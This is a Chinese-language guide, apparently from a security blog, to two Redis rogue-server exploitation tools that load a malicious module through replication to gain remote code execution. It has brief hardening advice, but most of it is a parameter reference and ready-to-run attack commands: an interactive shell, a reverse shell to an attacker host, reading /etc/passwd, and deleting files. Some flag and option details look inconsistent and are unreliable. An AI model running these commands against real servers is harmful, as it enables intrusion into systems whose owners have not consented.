目录

工具介绍Awsome-Redis-Rogue-Server-与-redis-rogue-server

工具介绍《Awsome-Redis-Rogue-Server 与 redis-rogue-server》

1. 核心功能与攻击场景

  • redis-rogue-server

    基于Redis主从复制漏洞(CVE未公开),针对Redis 4.x~5.0.5版本设计,通过伪造恶意主节点强制同步恶意模块( .so 文件)实现远程代码执行(RCE)。

    • 适用场景
      • 主动模式 :攻击外网暴露的未授权Redis或已知弱密码的实例,直接建立主从关系。
      • 被动模式 :通过SSRF或内网横向移动,诱导目标Redis反向连接攻击者控制的恶意主节点。
    • 技术特点
      • 内置编译好的恶意模块(如 exp.so ),支持生成反弹Shell或执行系统命令。
      • 支持交互式Shell(直接命令执行)或反向Shell(绕过防火墙限制)。
  • Awsome-Redis-Rogue-Server

    在原版基础上优化,支持更复杂的Redis认证场景(如存在密码保护的实例),并修复部分兼容性问题。

    • 核心改进
      • 增加对密码认证Redis实例的利用能力,通过 --passwd 参数指定密码。
      • 优化模块加载逻辑,减少因网络波动导致的同步失败。
    • 应用场景
      • 针对企业内网中配置了密码但未限制主从复制的Redis实例。
      • 结合Redis横向渗透工具(如 RedisScanner )批量探测并攻击。

2. 使用流程与工具差异

对比项redis-rogue-serverAwsome-Redis-Rogue-Server
依赖文件需预编译 .so 模块(或使用自带 exp.so同左,但优化模块兼容性
密码支持有限支持(需手动修改代码或参数)原生支持 --passwd 参数指定密码
攻击模式主动/被动模式同左,增加对认证流程的自动化处理
适用Redis版本4.x-5.0.5扩展至部分5.0.5+版本(需测试)
典型命令python3 redis-rogue-server.py --rhost <目标IP>python3 redis_rogue_server.py -rhost <目标IP> -passwd <密码>

3. 防御建议与漏洞修复

  • 禁用高危命令 :通过 rename-command 重命名或禁用 MODULESLAVEOF 等指令。
  • 强制认证 :设置 requirepass 强密码,并启用 masterauth 保证主从通信安全。
  • 网络隔离 :限制Redis端口仅对可信IP开放,避免暴露公网。
  • 升级修复 :升级至Redis 7.4.2+/7.2.7+修复Lua引擎漏洞(如CVE-2024-46981)。

总结

两者均利用Redis主从复制的设计缺陷实现RCE,但 Awsome-Redis-Rogue-Server 更适用于复杂认证环境,而 redis-rogue-server 更适合快速测试未授权场景。防御需结合访问控制、日志监控与版本升级,避免恶意模块加载和横向渗透。


redis_rogue_server.py 参数解析

该文件位于 Awsome-Redis-Rogue-Server 项目中。

1. 基本参数
参数描述示例
-rhost目标Redis服务器的IP地址。-rhost 192.168.1.100
-rport目标Redis服务器的端口(默认6379)。-rport 6379
-lhost攻击者主机的IP地址(用于反向Shell或模块同步)。-lhost 10.0.0.1
-lport攻击者主机的监听端口(默认15000)。-lport 21000
-passwdRedis实例的认证密码(若目标Redis设置了密码)。-passwd redis123
-sofile指定恶意模块文件(如 exp.so )。-sofile ./exp.so
-path指定恶意模块文件路径(如 exp.so ),该模块通常包含远程代码执行函数(如 system.exec ),程序到路径中加载文件。-path exp.so
-v详细输出模式,用于显示攻击过程中的调试信息,如连接状态、命令执行细节、模块加载进度等。-v
2. 高级参数
参数描述示例
--command直接执行系统命令(无需加载模块)。--command "id"
--function调用模块中的特定函数(如 system.exec )。--function system.exec
--backupfile指定目标Redis持久化文件的备份路径(用于恢复数据)。--backupfile /tmp/dump.rdb
--interactive启用交互式Shell(加载模块后)。--interactive
3. 使用示例
# 主动模式(外网/已知密码):加载 exp.so 模块,获取交互式 
# 功能:通过主从复制加载恶意模块,直接进入交互式 Shell。
# 场景:外网 Redis 未授权或已知弱密码。
Shell python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -passwd redis123 -sofile exp.so --interactive


# 被动模式(内网/SSRF诱导):仅启动恶意主节点,等待目标 Redis 反向连接 
# 功能:通过 SSRF 或内网横向移动诱导目标 Redis 连接恶意主节点。
# 场景:目标 Redis 处于内网且无法直接访问。
python3 redis_rogue_server.py --server-only -lhost 10.0.0.1 -lport 21000


# 反向 Shell 反弹:监听 4444 端口,触发目标反弹 Shell 
# 功能:利用模块中的 `system.rev` 函数建立反向 Shell。
# 场景:绕过防火墙限制或权限维持。
python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -lport 4444 -sofile exp.so --function system.rev


# 快速命令执行:直接执行系统命令(无需加载模块)
# 功能:快速验证漏洞或执行单条命令。
# 场景:应急响应或自动化渗透测试。
python3 redis_rogue_server.py -rhost 192.168.1.100 -command "cat /etc/passwd"


# 调用自定义模块的特定函数:
# 说明:适用于绕过 WAF 或实现隐蔽攻击。
python3 redis_rogue_server.py -rhost 192.168.1.100 -sofile custom.so --function custom_cmd --command "rm -f /tmp/lock"


# 攻击前备份目标 Redis 数据 
# 说明:避免攻击导致业务中断,需提前验证备份文件完整性。
python3 redis_rogue_server.py -rhost 192.168.1.100 --backupfile /tmp/dump.rdb
4. 注意事项
  • 恶意模块exp.so 需提前编译,包含 system.exec 等函数。
  • 网络权限 :确保攻击者主机( lhost )可被目标Redis访问(用于反向Shell或模块同步)。
  • 数据备份 :攻击前建议备份目标Redis数据( --backupfile ),避免数据丢失。